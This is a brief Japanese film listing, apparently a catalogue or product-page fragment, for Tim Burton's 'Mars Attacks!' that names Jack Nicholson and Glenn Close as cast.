マーズ・アタック!
出演: ジャック・ニコルソン, グレン・クローズ 監督: ティム・バートン


.